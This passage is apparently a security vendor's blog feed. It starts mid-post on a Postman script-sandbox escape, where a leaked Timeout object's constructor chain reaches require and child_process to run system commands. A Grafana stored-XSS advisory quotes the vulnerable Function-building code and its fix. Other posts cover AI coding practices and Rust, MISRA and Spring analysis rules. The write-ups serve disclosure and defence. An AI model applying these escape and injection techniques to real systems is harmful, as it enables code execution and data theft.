This allows the untrusted code inside the sandbox to access the Timeout object's prototype chain and the function constructor. In JavaScript, obj.__proto__ references the object's prototype, which is like its class in other object-oriented languages. Next to the prototype, it is also possible to access the constructor function of the object's prototype via obj.__proto__.constructor, or obj.constructor as a shortcut.

Since basically everything is an object in JavaScript, the constructor function also has a prototype and a constructor, the generic Function constructor. Calling Function allows creating new JavaScript functions by passing the code as an argument. By calling obj.constructor.constructor('alert(1)'), a new function is created that will execute alert(1) when invoked.

The crucial point here is that since the Timeout object returned from setTimeout was created in the outside world, it also references the constructor from the outside world. Using the outside world's function constructor to create a new function creates it in the outside world's scope. The code in such a function therefore has access to all the objects and functions in the global scope of the outside world!

This allows the attacker to simply use the global object to access require(), import the child_process module, and execute arbitrary system commands! The latter works because Postman had nodeIntegration set to true, exposing Node.js APIs to the web portion of an Electron app.

Remediation

Postman released a fix in version 10.24.16 that now also hides Timeout objects returned into the VM. This does fix this specific vulnerability, but the approach still relies on catching all of these cases. The Postman team also needs to keep this pitfall in mind when exposing new functionality to untrusted code.

Timeline

Date	Action
2024-03-19	We report the issues to Insomnia and Postman via email
2024-03-19	The Insomnia team asks us for more details
2024-03-19	The Postman team asks us to use their bug bounty platform instead
2024-03-20	We provide additional details to the Insomnia team
2024-03-21	We decline Postman's request due to conflict with our disclosure policy
2024-03-22	The Insomnia team informs us they validated our findings, deemed the criticality as low, and will employ remediations without a defined timeline
2024-03-28	The Postman team informs us that the issue has been forwarded to the appropriate team
2024-04-03	The Postman team informs us that they have started to roll out a fix

Summary

This concludes part one of our two-part blog post series on the security of API clients. We learned how these tools typically work and what is running under the hood. We've seen how security is still not a first-class citizen in some developer tools, and that it is crucial to know about the threat model of your tools. We also learned that building a safe sandbox is not an easy task and that small oversights can enable sandbox escapes.

Next time, we will see more sandbox bypasses and pitfalls, but also more holistic sandboxing approaches and fixes in response to our disclosures. We will also include a section listing good practices so you can learn how to do sandboxing correctly.

Finally, we would like to thank the Postman and Insomnia maintainers for their collaboration and communication around our disclosure.

Seven Habits of Highly Effective AI Coding

Tariq Shaukat — Wed, 30 Apr 2025 13:00:00 GMT

Originally published on The New Stack.

TL;DR overview

Seven habits of highly effective AI coding centers on one principle: AI tools accelerate generation, but developers must shift from code authors to skeptical senior reviewers who validate every AI-generated line before accepting it.
Key habits include providing AI tools with architectural context, enforcing simplicity (cognitive complexity below 15, functions under 100 lines), and treating AI-generated code with higher scrutiny than human-written code—not lower.
Automating the verification layer is essential: SonarQube's AI Code Assurance feature acts as an automated review partner, catching tainted data flows, hidden performance bottlenecks, and subtle logical flaws that AI models routinely introduce.
Organizations that implement these habits report that AI coding tools deliver durable velocity gains, whereas those that vibe without verifying find speed gains erased by downstream debugging and remediation costs.

In the past year, AI coding has gone from novelty to necessity. However, much of the conversation around AI coding focuses on vibe coding within relatively “de novo” use cases. There is no question that tools like Cursor and Windsurf are making software development accessible to everyone.

Most companies, and a large number of developers, don’t work in this environment. They work in the context of large, legacy codebases that can be millions or even billions of lines long. The cost of a mistake in these environments, whether a bug or a security issue, is huge. Some estimates say that the cost of bad software is over $2 trillion per year.

These massive codebases can hugely benefit from developers using AI coding tools, but they must be harnessed in a responsible way. In this regard, AI coding is no different than “regular” coding:

You need to ensure there are no obvious bugs or vulnerabilities, and that the code is performant and robust;
You need to be certain all third-party libraries are safe, up-to-date and properly licensed;
You need to ensure that your new code is readable, so humans and large language models (LLMs) can assess it and minimize the chance that something unintentionally sneaks in;
You need to ensure that your code is maintainable, so your codebase doesn’t become more brittle as more AI code is written.

At Sonar, we regularly talk to thousands of developers working in hundreds of companies, and our products analyze more than 300 billion lines of code a day. It is clear from these conversations that we need to establish clear best practices for using AI coding tools inside organizations.

So with that in mind, here are seven AI coding “habits” that organizations should adopt:

Golden Rule: Developers Are Accountable. “You break it, you own it” is often referred to as the Pottery Barn rule. For AI coding, we need a new variant on this. As a developer, if code you accept from an AI tool breaks, you own it. We believe there is an accountability crisis related to AI code. Some customers have told us they are seeing their developers accept over 95% of AI coding-generated pull requests. This suggests that the code is not being scrutinized at all — a lack of ownership. In every organization, the golden rule has to be that developers are responsible for their code, regardless of whether they wrote it or accepted it from the AI coding tools.
(Over) Document Your Project Context. Mermaid diagrams, project structure files, design structure documents. Developers and architects have been using these for years. In an AI coding world, we’d err on the side of excess. Clear, comprehensive project documentation outlining the project’s intentions and how it is designed to work will help developers ensure new code fits into your overall architecture. Robust documentation also provides critical context to AI coding tools and agents to operate more effectively on your codebase.
Keep It Simple… Really. Code entropy is real. Codebases that are not properly maintained will become more and more disordered. It is impossible to maintain a codebase if that code is not readable … OK, maybe not impossible, but very, very hard. Anyone working with AI coding needs to establish rules to ensure simplicity, prompting LLMs with these guardrails in the context window and checking to ensure that the guardrails are followed. What are the guardrails? We hear three fairly often, and you can consider these either an AND or an OR function –
- Guardrail A — All functions should be less than X (50-100) lines long
  AND/OR
- Guardrail B — You need to minimize Cognitive Complexity (you can use Cyclomatic Complexity if you prefer)
  AND/OR
- Guardrail C — You need to keep the level of duplications as low as possible
Absolutely, Positively, No Stray Code. This point is software development 101 but crucial in AI coding. LLMs will often produce code that ends up not being used, incorporating for example, unused references. There should be no stray code in your AI-generated code. Not only does this make it harder to understand and maintain your codebase, it also introduces significant security risks. For example, malicious actors can start tricking LLMs to include seemingly benign references or dependencies that are not used now, but could be used, with bad intent, in the future, creating a massive security hole for you. This is called backdoor or sleeper agent injection, and it is just one example of the many ways LLMs can be modified to produce new attack vectors. It is a great example of why secure code must be high quality and fit for purpose.
Analyze everything. The volume of AI-generated code is overwhelming, and the issues that it creates are often subtle and hard to find. You’re not just looking for spelling mistakes and misplaced semicolons. You need to ensure that there are no complex bugs or known vulnerabilities. You have to also ensure that third-party libraries the AI suggests are properly licensed and well maintained. Developer review is essential, but this just adds to the toil that kills developer productivity and happiness. No developer wants to be a copy editor for AI, and without the appropriate tooling, they cannot keep up with the volume or complexity of the issues that may be lying in AI code. It is vital to equip developers with solutions that can help identify and triage issues for review. These solutions should be deterministic, with a high level of trust and transparency to balance the non-deterministic AI output.
Mandatory unit tests. Some companies have a high bar for code coverage. All companies need that high bar. Comprehensive unit test coverage on AI-written code, and continuous execution of the tests, is a must, with the tests written in advance and certainly not by the same coding agent that is writing the code. AIs can learn how to cheat unit tests (aka reward hacking).
Rigorous code reviews. Analyzing code for issues is only part of the solution. The only way to ensure that the AI coding habits are universally adopted is to have a strong discipline of code reviews in place. Pull requests must fail if the best practices are not followed, and developers need to be able to remedy the issues quickly. This requires a lot of discipline in the development teams, and best-in-class tooling to facilitate and automate the checks.

These AI coding habits can rightly be called software development best practices. However, in a world of widespread AI coding usage, we have to raise expectations. Best practices that may have been considered no longer “nice-to-haves” are now “must-haves.” Code that you introduce now will likely persist in your codebase for years, maybe decades. Just think about how much COBOL code is still in the wild.

There is no question AI coding models and tools are rapidly improving. However, no matter how good the models become, companies have to ensure their code is built securely, is maintainable over the long term, and that the technical debt remains under control. As with our health, an ounce of prevention, bolstered by strong habits, is worth a pound (or more) of cure.

Pairing with solutions like SonarQube’s AI Code Assurance feature, which operates seamlessly at the code review stage, organizations can easily assess whether each of these best practices is in place in the AI-generated code itself. If AI Code Assurance finds severe issues, the pull request doesn’t move forward and developers are given the list of issues that are causing the failure. Trust and empower your development teams, and always verify.

Data in Danger: Detecting Cross-Site Scripting in Grafana

Paul Gerste — Thu, 24 Apr 2025 15:00:00 GMT

TL;DR overview

Sonar's security researchers discovered a stored XSS vulnerability in Grafana (CVE-2025-2703) that allows users with dashboard edit permissions to inject malicious scripts that execute in the browsers of other users viewing the affected dashboard.
The flaw exists in how Grafana processes and renders certain dashboard panel configurations—user-supplied content is not properly sanitized before being rendered in the panel display area.
Given Grafana's widespread deployment for metrics monitoring and observability in enterprise infrastructure, this vulnerability could be exploited to steal session tokens, escalate privileges, or pivot to other services.
Grafana addressed the vulnerability in a subsequent release; all Grafana deployments should be updated, and dashboard editor permissions should be granted only to trusted users.

Key Information

During our continuous scans of open-source code, SonarQube reported a Cross-Site Scripting (XSS) hotspot in Grafana, a popular observability platform.
We confirmed the vulnerability and reported it to the Grafana team, who implemented a fix. See more information in their release blog.
The vulnerability is tracked as CVE-2025-2703 and has been fixed in Grafana version 11.6.0+security-01 and backported to all currently supported versions.
Attackers could exploit the vulnerability to steal data from other users or elevate their privileges by targeting users with more permissions.
Unpatched Grafana instances are vulnerable in their default configuration, affecting the open-source (OSS) and Enterprise versions.
Mass exploitation is unlikely because the vulnerability requires the attacker to be authenticated and have panel editing permissions.

We regularly scan open-source projects to make the software landscape more secure and to improve our security analysis capabilities. In ever-growing code bases and with the rise of AI-assisted programming, there is more and more code that needs to be reviewed for security vulnerabilities and other issues. This underlines the need for automated code analysis to keep vulnerabilities from reaching production because, as we will see today, this can still happen in high-profile, well-tested codebases like Grafana's.

SonarQube detected a Cross-Site Scripting (XSS) vulnerability (CVE-2025-2703) in Grafana, a prominent open-source data analytics and visualization solution. We manually verified the vulnerability and reported it to Grafana. The vulnerability allows an authenticated attacker with editor permission to execute arbitrary JavaScript in a victim's session when a dashboard is viewed. Due to these exploit requirements, we deem mass-exploitation very unlikely and are therefore sharing our findings today.

In this blog post, we will first learn about the potential impact of the vulnerability and then dive into its technical details to understand how it works. Finally, we will learn about Grafana's patch and how you can avoid such vulnerabilities in your code.

View report on SonarQube Cloud

Impact

The vulnerability, tracked as CVE-2025-2703, existed in Grafana since version 11.1.0, which was released 10 months ago. The issue was fixed in version 11.6.0+security-01 and backported to all currently supported versions, so we highly recommend updating your instance. You can find more details in Grafana's release blog.

By exploiting the vulnerability, an attacker can store a malicious JavaScript payload in the configuration of a dashboard panel that will be executed in a victim's Grafana session when they visit an infected dashboard. This allows them to steal data from other users or elevate their privileges by targeting users with more permissions.

The attacker needs editor permissions for a dashboard panel to abuse the vulnerability. Since the vulnerability exists in the built-in XY Charts plugin, unpatched Grafana instances are vulnerable by default. A successful attack is demonstrated in a test environment here:

Watch the video

CVE-2025-2703: Technical Details

Grafana uses the concept of dashboards that contain one or more panels. These visualize data from various sources and can be configured in many different ways, making Grafana a versatile tool:

To cover many common use cases, Grafana comes with a series of built-in plugins that provide basic functionality, such as basic chart types. One of these plugins, the XY Chart plugin, is responsible for drawing scatter plots from data points:

The chart can be styled in many ways, such as by changing the color of the data points on the grid. The color can be either controlled by a static value or by defining thresholds. Under the hood, the threshold conditions have to be evaluated for every data point to derive its color. To avoid performance issues with large amounts of data points, Grafana creates a native JavaScript function based on the threshold conditions. This function is then executed for each data point during the chart rendering.

However, the approach of creating a JavaScript function from potentially untrusted input comes with a big risk: if parts of the input are being interpolated into the function's code in an unsafe way, an attacker could use it to inject arbitrary JavaScript code! Let's take a look at the issue that SonarQube raised:

As we can see, SonarQube flags the dangerous creation of a JavaScript function based on a non-static string as a security hotspot. By investigating the function that contains this code snippet, fieldValueColors(), we can see how the function's code is built. We omitted a lot of code here as the function is quite big, but we can see that part of the code is resulting from a config object (f.config):

public/app/plugins/panel/xychart/scatter.ts:

function fieldValueColors(f: Field, theme: GrafanaTheme2): FieldColorValues {
  // ...
  let conds = '';
  if (f.config.mappings?.length ?? 0 > 0) {
    // ...
  } else if (f.config.color?.mode === FieldColorModeId.Thresholds) {
    if (f.config.thresholds?.mode === ThresholdsMode.Absolute) {
      let steps = f.config.thresholds.steps;
      let lasti = steps.length - 1;
      for (let i = lasti; i > 0; i--) {
        conds += `v >= ${steps[i].value} ? ${i} : `;
      }
      // ...
    } else {
      // ...
    }
  }
  // ...
  if (conds !== '') {
    getOne = new Function('v', `return ${conds};`) as GetOneValue;
    // ...
  }
  // ...
}

This config object contains values that we can change while editing the panel. The values in the thresholds.steps array are inserted into the function's code without escaping or sanitizing them in line 11. It looks like this is indeed a vulnerability! However, this requires that these values are not sanitized by the server from which the config is coming.

Next to its editor UI, Grafana also allows modifying a panel by directly editing its JSON representation:

Here we can see that it has the same structure as what the fieldValueColors() function expects. The current values are all numbers, this is also what the function expects since it uses the greater-than comparison operator with these values. However, since the panel is stored as JSON, an attacker could simply replace the numbers with strings that contain JavaScript code! We can see that this indeed works, indicating the server does not validate or sanitize them:

With this, we have successfully validated that the security hotspot raised by SonarQube is a real vulnerability. We immediately reported the issue to the Grafana team, so let's see how they fixed it next.

Patch

To prevent such vulnerabilities, make sure to properly escape or sanitize untrusted input before using it to build and execute JavaScript code. Grafana fixed the vulnerability by converting the threshold value to a number:

- conds += `v >= ${steps[i].value} ? ${i} : `;
+ let rhs = Number(steps[i].value);
+ conds += `v >= ${rhs} ? ${i} : `;

Timeline

Date	Action
2025-03-14	We report our advisory via PGP-encrypted email to the Grafana team
2025-03-21	The Grafana team confirms they received our report
2025-04-15	The Grafana team updates us on the status and assigns CVE-2025-2703
2025-04-22	The Grafana team publishes a fix in version 11.6.0+security-01, also backported to all supported versions
2025-04-23	The Grafana team publishes its release blog post with information on the vulnerability
2025-04-24	We publish this blog post

Summary

In this blog post, we learned about an impactful Cross-Site Scripting vulnerability in the code of Grafana, a popular data analytics solution. We showed how our open-source scanning effort works, from SonarQube raising an issue, to understanding and verifying the vulnerability, to reporting it to the vendor.

The vulnerability itself shows once again that even well-tested codebases have security issues. With more and more code written by humans and AI, it is crucial to implement continuous code scanning to catch the bugs that developers miss.

It is also interesting to observe a correlation between Cognitive Complexity and vulnerable code. SonarQube flags the vulnerable function not only because of the vulnerability, but also because it is long and contains many nested loops and if statements. This makes it harder for humans to fully understand the implementation and makes it easy to lose track of user input flowing into dangerous functions.

Finally, we want to thank the Grafana team for their remediation and good communication during the disclosure.

Introducing Rust in SonarQube

Denis Troller — Thu, 17 Apr 2025 14:00:00 GMT

TL;DR overview

SonarQube now supports Rust analysis, bringing static code quality and security inspection to one of the fastest-growing systems programming languages used in safety-critical and performance-intensive applications.
The Rust analyzer detects bugs, code smells, and maintainability issues while respecting Rust's unique ownership and borrowing model, avoiding false positives tied to patterns that are safe in Rust's type system.
As Rust adoption grows in operating systems, embedded software, and web infrastructure, having consistent code quality analysis helps teams maintain the high standards that attracted them to Rust in the first place.
Teams can analyze Rust projects within existing SonarQube workflows—adding Rust to multi-language projects alongside C/C++, Java, or JavaScript without separate tooling.

SonarQube Now Supports Rust!

The popularity of Rust has been trending up for some time, and it has been making headway even into the conversation around the Linux kernel. A lot of people are considering adopting Rust, and some have already started their journey on this path. We know from your requests that a fair share of our users are Rustaceans. For all these reasons, we decided it is time for SonarQube to offer support for the Rust language!

What we support

With this first release, we aim at making it possible for you to adopt Rust in your toolkit and onboard your project in SonarQube to help you write more maintainable code.

Rust itself comes with a lot of bells and whistles, including a de-facto standard linter, Clippy, that most Rustaceans have adopted as a daily driver. It is a trusted part of the Rust ecosystem maintained by the community. We decided to start by building on the shoulders of giants and offer the integration of 85 Clippy rules as first-party rules within SonarQube. This means you can manage these rules in your Quality Profiles and pick and choose which ones you want in your standards.

In addition, we provide rule descriptions and issue messaging so developers get the information they need to understand and correct the issues that are detected. This helps developers learn about the issues and avoid repeating them in the future.

Of course, code coverage is a must, so you can import your coverage data in LCOV or Cobertura format.

Lastly, we also calculate the code metrics you are used to, such as Cognitive Complexity or Cyclomatic Complexity, so you can see areas of your code that need some love and attention.

Requirements

Because the analyzer is built around Clippy, you will need a Rust toolchain with Clippy installed on the machine running the SonarQube analysis.

You can also choose not to use the SonarQube Clippy integration and instead, directly ingest the list of issues generated by Clippy. In that case SonarQube will not run Clippy for you. If you were already doing this with the existing community plugin, then you can maintain this workflow. However, if you don’t use the SonarQube Clippy integration and ingest your Clippy issues directly, SonarQube will consider those issues as “external issues” and the Quality Profile settings in SonarQube will not apply to them, nor will you see the SonarQube-provided rule descriptions or messages for those issues.

Availability

The Rust analyzer is available today on SonarQube Cloud. It will also be included in the upcoming SonarQube Server 2025 Release 3 and in the next release of SonarQube Community Build.

Please note that, for now, Rust is not supported in Automatic Analysis on SonarQube Cloud. This will come at a later time.

Getting Started

To start using the Rust analyzer, ensure that Clippy is installed on the machine running the analysis. Then, configure your SonarQube project to analyze Rust code using the Scanner-CLI. You can manage the rules in your Quality Profile or ingest Clippy findings from a file.

We believe this new addition will significantly benefit Rust developers using SonarQube. We are committed to providing the best tools for integrated code quality and code security. Stay tuned for more updates!

If you haven't yet started using SonarCloud, try it out for free!

MISRA C++:2023 Compliance for Auto Safety and Reliability

Geoffray Adde — Tue, 15 Apr 2025 15:00:00 GMT

TL;DR overview

MISRA C++:2023 compliance is now in early access for SonarQube Server Enterprise and Data Center Edition customers, covering 84 of 179 MISRA C++:2023 rules in the initial release.
MISRA coding guidelines—originally developed for automotive safety-critical software—are now widely adopted across aerospace, defense, and medical devices to enforce code safety, security, and reliability in embedded systems.
SonarQube's MISRA compliance workflow supports deviation records, compliance quality gates, and IDE-level feedback, enabling developers to catch non-compliant code as they write.
Future releases aim for 100% detection coverage of MISRA C++:2023 rules while maintaining high accuracy and fast analysis times; no additional charge applies during early access.

MISRA for Automotive Systems

In the realm of C and C++ development and particularly within the automotive and safety-critical sectors, the MISRA coding guidelines are crucial for ensuring software reliability and safety. These guidelines, first established by the Motor Industry Software Reliability Association (MISRA) in the early 1990s, aim to promote best practices for developing embedded control systems and standalone software. Originating from the UK government's research into road vehicle electronics, MISRA's guidelines have become widely accepted in other industries beyond automotive such as aerospace, defense, and medical devices. MISRA’s primary goal is to enhance code safety, security, and reliability, especially in embedded systems, and originally carved out a "safe subset" of the C language.

The automotive industry's increasing reliance on software for critical functions underscores the importance of MISRA compliance. Failures in these systems can have severe consequences, making adherence to MISRA guidelines a common requirement for automotive OEMs and suppliers to improve software quality and safety. Beyond automotive, MISRA principles are vital in any safety-critical domain.

Recognizing the growing use of C++ in critical applications, MISRA introduced guidelines for C++ in 2008. The latest version, MISRA C++:2023, is a significant update targeting the C++17 standard. This version provides a defined subset of C++ that minimizes the potential for errors, making it ideal for high-integrity applications. Based both on MISRA C++:2008 and on AUTOSAR, it offers a comprehensive framework for safe and secure C++17 programming, moving towards a unified industry standard.

MISRA C++:2023's explicit support for C++17 ensures its relevance for modern software projects. It addresses the evolution of the language, incorporating new features from C++17, making the guidelines more applicable to current safety-critical development. This standard also improves the decidability of guidelines, enhancing their suitability for automated verification by static analysis tools.

MISRA C++:2023 Compliance with SonarQube

SonarQube is the industry leading integrated code quality and code security analysis tool. It helps developers find and fix coding errors and security issues while promoting continuous learning. SonarQube integrates seamlessly in the DevSecOps workflow, providing real-time feedback on code health within the tools developers use such as the IDE and DevOps platforms. By providing actionable code intelligence, SonarQube enables teams to tackle potential issues proactively, reducing risk and saving cost from late discovery in the SDLC. SonarQube for IDE offers immediate feedback on code quality and code security as developers write code, supporting a "start left" approach.

Sonar is pleased to announce the development of full MISRA C++:2023 compliance capability in SonarQube. We have launched an early access program for compliance with MISRA C++:2023 available now in SonarQube Server 2025 Release 2. SonarQube MISRA Compliance is available at no additional charge to SonarQube Server Enterprise Edition and Data Center Edition customers during the early access period to give you the opportunity to try it out and provide feedback. This early access release includes 26 new MISRA C++:2023 rules boosting our coverage to 84 out of a total of 179 rules. We will keep adding rules and additional capability in future releases of SonarQube Server.

Future releases of SonarQube MISRA Compliance will focus on:

100% detection: Our target is to have complete coverage of the MISRA C++:2023 guideline while maintaining our standard of highly accurate issue detection and preserving fast analysis times. Additionally, the SonarQube rules for meeting MISRA C++:2023 compliance will contain details about our implementation including any potential known limitations of the detection we provide. This way when issues are detected by SonarQube, you have the documented details needed to determine compliance.
MISRA compliance workflow: MISRA defines guideline categories, deviation records, and other concepts that will be supported in SonarQube to keep your projects in compliance as you develop.
“Start left”: We want to help developers and teams produce MISRA compliant source code as they write it. When connected with SonarQube Server, SonarQube for IDE will identify issues as developers code in their IDE. Real-time feedback on compliance with MISRA is provided in the form of a quality gate pass-fail status results which ensure only code that complies with the standard makes it to production.
Compliance reporting: Reports not only allow teams and managers to assess their compliance status, they also help simplify the compliance claim process by reducing the effort to build documentation required to support claiming compliance.

We are excited to give you access to the SonarQube MISRA C++:2023 Compliance feature as we build it out and add more capability over the coming SonarQube Server releases. We look forward to your ongoing feedback in order to provide you with the most valuable tool to meet your MISRA compliance needs.

Try it out now and see the Sonar MISRA Compliance early access feature at work. Read through our docs content to find out how to configure Early Access for Sonar MISRA Early Access.

New Spring framework rules in SonarQube

Jonathan Vila — Wed, 26 Mar 2025 23:00:00 GMT

TL;DR overview

New Spring Framework–specific rules in SonarQube improve detection accuracy for Spring-based Java applications by understanding Spring annotations, security configuration, and dependency injection patterns in context.
Framework-aware static analysis reduces false positives common in generic rules, while also catching Spring-specific anti-patterns—such as unsecured endpoint configurations and improper bean scoping—that generic rules would miss.
The rules cover Spring Security, Spring Boot, and core Spring, helping developers align with framework best practices without manually consulting documentation for every configuration decision.
Teams using Spring should update their SonarQube quality profiles to activate the new rules and review any existing findings surfaced by the expanded coverage.

Introduction

In SonarQube Server 2025 Release 2, we introduced new rules to improve code quality and enforce best practices in Spring Framework applications. These rules focus on various aspects of Spring development, including event handling, scheduling, data, MVC, caching, dependency injection, and testing. By following these rules, developers can write high-quality Spring applications.

This article provides an overview of the new code smells and bug rules, explaining their purpose, and showing both compliant and non-compliant Java code examples.

Summary of Spring features covered by the new rules

Event-driven communication
Task scheduling
Spring MVC
Spring Data
Caching
Dependency Injection
Testing

Spring features and potential issues

Event-driven communication

In the Spring Framework, Application Events provide a way to enable communication between different components of an application in a loosely-coupled manner. These events are published and listened to within the Spring Application Context and allow components to react to certain actions or states within the application. The Spring context already publishes several events like ContextStartedEvent, ApplicationStartedEvent, or RequestHandleEvent among others.

Rule: @EventListener methods should have at most one parameter (S7185)

Methods annotated with @EventListener listen to a particular event type. These methods should have at most one parameter, representing the event. Although the code will compile with additional parameters, Spring will fail when trying to start the context.

This SonarQube rule checks the code and helps to avoid raising an IllegalStateException during runtime.

Non-Compliant Example:

@EventListener

public void handleEvent(CustomEvent event, String extraParam) {

// Incorrect: extra parameter present

}

Compliant Example:

@EventListener

public void handleEvent(CustomEvent event) {

// Correct: only one parameter

}

Task scheduling

Spring offers a convenient library to schedule tasks. It’s easy … just a matter of using an annotation and the rate we want the task to be scheduled.

The @Scheduled annotation marks methods that should be executed at scheduled intervals. It provides a simple and powerful way to schedule tasks without dealing with lower-level scheduling mechanisms like Timer or ScheduledExecutorService.

Rule @Scheduled Should Only Be Applied to No-Arg Methods (S7184)

Methods annotated with @Scheduled should not have parameters because Spring does not support it. The SonarQube rule checks the code and helps avoid raising an IllegalStateException during runtime.

Non-Compliant Example:

@Scheduled(fixedRate = 5000)

public void scheduledTask(String param) {

// Incorrect: method should have no parameters

}

Compliant Example:

@Scheduled(fixedRate = 5000)

public void scheduledTask() {

// Correct: no parameters

}

Spring MVC

Rule: @InitBinder methods should have void return type (S7183)

In Spring MVC, sometimes it’s needed to sanitize or preprocess the data coming to a controller, such as to prevent fields with only blank spaces, or to reformat dates, among other use cases.

To help with that, Spring provides an annotation for methods: @InitBinder. This annotation is used with the methods that initialize WebDataBinder and works as a preprocessor for each request coming to the controller.

By design, these methods should return void. This SonarQube rule prevents you from creating binding methods that return a value and raising an IllegalStateException on runtime.

Non-Compliant Example:

@InitBinder

public WebDataBinder initBinder(WebDataBinder binder) {

return binder; // Incorrect: should not return anything

}

Compliant Example:

@InitBinder

public void initBinder(WebDataBinder binder) {

// Correct: void return type

}

Spring Data

Rule: methods returning "Page" or "Slice" must take "Pageable" as an input parameter (S7186)

The Spring Data Repository supports paging for queries, allowing you to return results in small, manageable chunks rather than retrieving an entire large result set.

The conventional approach to paginating data in Spring is to use the Pageable interface to control pagination and to store the query results into a Page or Slice. If a query method in a Repository returns a Page or Slice without taking a Pageable as input, it raises a runtime exception.

This rule raises an issue on queries in a Repository that return a Page or Slice without taking a Pageable as input, avoiding a runtime error.

Noncompliant code example:

interface ItemRepository extends JpaRepository<Item, Long> {

Page<Item> findItems(); //non compliant, no Pageable parameter

}

Compliant solution:

interface ItemRepository extends JpaRepository<Item, Long> {

Page<Item> findItems(Pageable pageable);

}

Caching

In Spring, the @Cache* annotations are part of the Spring Cache Abstraction and work with the cache and the method's result. Using caches can reduce the number of times a method is executed and can help optimize your application's performance, particularly for methods with expensive operations like database queries, complex calculations, or external API calls.

When a method is annotated with @Cacheable, Spring will check if the result for that method with the given parameters already exists in the cache. If it exists, Spring will return the cached value instead of executing the method again. If the result is not in the cache, Spring will execute the method and store the result in the cache for future use.

For @CachePut, our code will introduce a new value in the cache, while for @CacheEvict the cache will be erased when the method is hit.

Rule: @Cache* Annotations Should Only Be Applied on Concrete Classes (S7180)

Spring caching annotations like @Cacheable, @CachePut, and @CacheEvict should not be used on interfaces or interface methods in order to work. Any interface method (except default methods) annotated with @Cache* will be ignored by Spring in the caching process if you are not using the default proxy mode.

This SonarQube rule warns about using @Cache annotations in interfaces and interface methods, so they will still work if you change to a weaving-based aspect.

Non-Compliant Example:

public interface UserService {

@Cacheable("users")

User getUserById(Long id); // Incorrect: annotation on interface

}

Compliant Example:

public class UserServiceImpl implements UserService {

@Override

@Cacheable("users")

public User getUserById(Long id) {

// Correct: annotation on concrete class

}

}

Rule: @Cacheable and @CachePut should not be combined (S7179)

@Cacheable retrieves data from the cache introduced by Spring in the first call to the method with the same signature, while @CachePut updates always the cache. Using both annotations on the same method leads to inconsistencies.

This SonarQube rule warns about @CachePut and @Cacheable annotations being used on the same method and helps to have consistency and higher readability in our code.

Non-Compliant Example:

@Cacheable("users")

@CachePut("users")

public User getUserById(Long id) {

// Incorrect: contradictory caching behavior

}

Compliant Example:

@Cacheable("users")

public User getUserById(Long id) {

// Correct: only @Cacheable used

}

Dependency Injection

Spring Framework's dependency injection (DI) is a powerful feature that simplifies the development and testing of applications. With DI, you can declare the dependencies of a class in its constructor or through annotations, and Spring will automatically wire them together at runtime. This eliminates the need for manual instantiation and wiring, making your code more modular, maintainable, and testable. Additionally, DI promotes loose coupling between components, allowing for greater flexibility and extensibility, and even defining different bean scopes (singleton, request, session, …). Overall, Spring DI helps you write more robust and more adaptable code of the highest quality.

Rule: injecting data into static fields is not supported by Spring (S7178)

Although possible, it’s always a bad practice to inject beans directly in fields, and we should use constructor injection preferably. What’s more, Spring does not support dependency injection into static fields.

This SonarQube rule warns about using injection annotations in static fields and avoids runtime errors or unexpected results as the injection will not happen and the field will be null.

Non-Compliant Example:

@Component

public class MyComponent {

@Autowired

private static MyService myService; // Incorrect: static field injection

}

Compliant Example:

@Component

public class MyComponent {

private final MyService myService;

@Autowired

public MyComponent(MyService myService) {

this.myService = myService;

}

}

Testing

Spring also provides a comprehensive testing framework that makes it easy to test your Spring applications. The Spring TestContext Framework provides a set of annotations and utilities that simplify the setup and execution of tests for Spring components. These annotations allow you to easily inject mocks or stubs into your tests, set up and tear down test data, and verify the state of your application after a test has run.

Among all the annotations available for Spring, we will focus on @DirtiesContext, which provides a mechanism to create a clean environment for each test, and @BeforeTransaction / @AfterTransaction, which intercepts a data transaction and executes a method at the given hook.

DirtiesContext is a powerful annotation in the Spring framework that indicates that a test method dirties the Spring application context, requiring a new context to be created for subsequent tests. This annotation is particularly useful when a test method modifies the state of shared beans or performs operations that cannot be easily rolled back.

By using DirtiesContext, developers can ensure that each test method runs in a clean and isolated environment, preventing interference from previous tests and improving the reliability and repeatability of the test suite. Additionally, DirtiesContext helps developers identify tests that modify the application context, making it easier to track down and fix potential issues.

The BeforeTransaction and AfterTransaction method annotations allow you to execute code before and after a transaction is committed or rolled back. This can be useful for setting up test data or verifying the state of the database after a transaction has been completed.

Rule: use appropriate @DirtiesContext modes (S7177)

In a Spring application, the @DirtiesContext annotation marks the ApplicationContext as dirty and indicates that it should be cleared and recreated. This is important in tests that modify the context, such as altering the state of singleton beans or databases.

Misconfiguring @DirtiesContext by setting the methodMode argument at the class level or the classMode argument at the method level will make the annotation have no effect.

This rule will raise an issue when the incorrect mode is configured on a @DirtiesContext annotation.

Non-Compliant Example:

@ContextConfiguration

@DirtiesContext(methodMode = MethodMode.AFTER_METHOD) // Noncompliant, for class-level control, use classMode instead.

public class TestClass {

@DirtiesContext(classMode = DirtiesContext.ClassMode.AFTER_CLASS) // Non compliant, for method-level control use methodMode instead

public void test() {...}

}

Compliant Example:

@ContextConfiguration

@DirtiesContext(classMode = DirtiesContext.ClassMode.AFTER_CLASS)

public class TestClass {

@DirtiesContext(methodMode = MethodMode.AFTER_METHOD)

public void test() {...}

}

Rule: methods annotated with "@BeforeTransaction" or "@AfterTransaction" must respect the contract (S7190)

In tests configured with Spring’s @Transactional annotation, methods annotated with @BeforeTransaction or @AfterTransaction must be void and have no arguments.

This SonarQube rule will check code that deviates from this contract by having a non-void return type or accepting arguments and keeps Spring from throwing a runtime error.

Non-compliant code

@Transactional

public class TransactionalTest {

@BeforeTransaction

public String setupTransaction(int x) { // non-compliant, method should be void and have no argument

// Setup logic

}

@AfterTransaction

public int cleanupTransaction(int x) { // non-compliant, method should be void and have no argument

// Cleanup logic

}

}

Compliant code

@Transactional

public class TransactionalTest {

@BeforeTransaction

public void setupTransaction() {

// Setup logic

}

@AfterTransaction

public void cleanupTransaction() {

// Cleanup logic

}

}

Conclusion

The Spring framework offers a huge list of benefits to developers. Its different modules simplify the development and testing process, which can be achieved by using annotations. But while Spring can significantly enhance an application's performance, it is essential to use the library correctly. Proper usage will increase code readability and consistency and help avoid unexpected runtime errors. By following best practices and leveraging Spring's features effectively, developers can harness the full potential of the framework and create robust, high-performing applications.

SonarQube provides a series of rules that help developers ensure their Spring applications are structured correctly, improving maintainability and reliability. Adopting these best practices will lead to higher quality and more efficient codebases.

Get the latest SonarQube Server to start finding and fixing these issues with Spring in your code now!

SonarQube Server 2025 Release 2 Announcement

Robert Curlee — Wed, 26 Mar 2025 14:00:00 GMT

TL;DR overview

